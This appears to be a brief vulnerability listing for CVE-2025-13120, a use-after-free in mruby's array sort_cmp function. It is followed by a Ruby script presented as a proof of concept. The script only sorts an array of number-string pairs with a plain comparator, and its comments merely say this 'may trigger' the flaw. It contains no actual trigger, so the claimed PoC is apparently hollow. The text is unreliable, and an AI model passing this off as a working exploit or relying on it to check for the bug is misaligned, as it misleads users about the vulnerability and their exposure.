mruby 3.4.0及之前版本 sort_cmp 函数 Use After Free 漏洞 (CVE-2025-13120)

# CVE-2025-13120 PoC for mruby Use After Free in sort_cmp # This PoC demonstrates triggering the Use After Free in mruby's array sort # Construct an array that will trigger the vulnerability in sort_cmp # The specific array structure depends on the mruby version and memory layout code = <<-RUBY # Create an array with elements that trigger the sort_cmp vulnerability # The vulnerability occurs when sorting arrays with specific element types arr = [] # Trigger conditions for use after free in sort_cmp # Add elements that will cause the sort function to access freed memory 10.times do |i| arr << [i, "string_#{i}"] end # This sorting operation may trigger the use after free arr.sort! { |a, b| a[0] <=> b[0] } puts "Sorting completed" RUBY puts "CVE-2025-13120 PoC" puts "Target: mruby <= 3.4.0" puts "Vulnerability: Use After Free in src/array.c sort_cmp function" puts "" puts "To test, compile and run with vulnerable mruby version:" puts "mruby -e '#{code}'"